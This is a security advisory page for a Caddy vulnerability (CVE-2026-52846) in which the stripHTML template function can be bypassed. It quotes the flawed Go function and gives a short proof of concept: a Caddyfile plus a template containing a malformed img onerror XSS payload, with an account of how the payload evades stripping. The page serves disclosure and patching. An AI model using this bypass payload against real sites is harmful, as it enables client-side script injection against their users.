GHSA-VCC4-2C75-VC9V

Vulnerability from github – Published: 2026-06-16 21:28 – Updated: 2026-06-16 21:28
VLAI
Summary
Caddy: stripHTML template function bypass
Details

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.


Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T21:28:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCaddy\u2019s `stripHTML` template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as `\u003c\u003c\u003eimg src=x onerror=alert()\u003e`, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.\n\n---\n\n### Details\nThe vulnerability originates from `funcStripHTML` in:\n\n[caddy/caddy/caddyhttp/templates/tplcontext.go](https://github.com/caddyserver/caddy/blob/77e9ce7404c4a76853e101a9f5687a929ee56654/modules/caddyhttp/templates/tplcontext.go)\n\n```go\nfunc (TemplateContext) funcStripHTML(s string) string {\n    var buf bytes.Buffer\n    var inTag, inQuotes bool\n    var tagStart int\n    for i, ch := range s {\n        if inTag {\n            if ch == \u0027\u003e\u0027 \u0026\u0026 !inQuotes {\n                inTag = false\n            } else if ch == \u0027\u003c\u0027 \u0026\u0026 !inQuotes {\n                // false start\n                buf.WriteString(s[tagStart:i])\n                tagStart = i\n            } else if ch == \u0027\"\u0027 {\n                inQuotes = !inQuotes\n            }\n            continue\n        }\n        if ch == \u0027\u003c\u0027 {\n            inTag = true\n            tagStart = i\n            continue\n        }\n        buf.WriteRune(ch)\n    }\n    if inTag {\n        // false start\n        buf.WriteString(s[tagStart:])\n    }\n    return buf.String()\n}\n```\n\n### POC\n\nCaddyfile setup\n\n```\n:8080 {\n    root * ./site\n    file_server\n    templates\n}\n```\n\nTemplate file (index.html)\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eStripHTML Bypass Test\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cp\u003e{{ stripHTML \"\u003c\u003c\u003eimg src=x onerror=alert(\u0027XSS\u0027)\u003e\" }}\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe payload exploits the false start branch to smuggle a literal \u003c back into the output, then uses the following \u003e to terminate the parser\u2019s tag state, leaving a valid \u003cimg ...\u003e tag behind.\n\nTested in v2.11.3\n\n### Impact\n\nMalformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.\n\n### AI Disclosure\n\nAI assisted in writing the report description; however, the discovery of the issue has been done manually.",
  "id": "GHSA-vcc4-2c75-vc9v",
  "modified": "2026-06-16T21:28:55Z",
  "published": "2026-06-16T21:28:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-vcc4-2c75-vc9v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Caddy: stripHTML template function bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…